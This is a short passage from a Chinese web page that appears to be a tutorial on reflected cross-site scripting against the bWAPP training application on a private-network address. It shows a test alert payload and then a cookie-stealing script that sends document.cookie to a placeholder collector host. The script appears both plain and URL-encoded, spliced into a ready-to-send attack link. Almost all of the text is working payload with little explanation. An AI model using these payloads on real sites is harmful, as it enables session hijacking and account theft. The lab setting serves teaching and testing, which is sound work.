赞
踩
<script>alert(123);</script>
http://192.168.248.174/dvwa/bWAPP/xss_get.php?firstname=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E&lastname=22&form=submit
,这就是URLA。可以看到URLA进行了URL编码。<script>document.location="http://ip_address/s_xss/getCookies.php?cookie="+document.cookie</script>
进行URL编码
%3cscript%3edocument.location%3d%22http%3a%2f%2fip_address%2fs_xss%2fgetCookies.php%3fcookie%3d%22+document.cookie%3c%2fscript%3e
利用URLA拼接构成具有攻击效果的URLB
http://192.168.248.174/dvwa/bWAPP/xss_get.php?firstname=%3cscript%3edocument.location%3d%22http%3a%2f%2fip_address%2fs_xss%2fgetCookies.php%3fcookie%3d%22+document.cookie%3c%2fscript%3e&lastname=22&form=submit
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。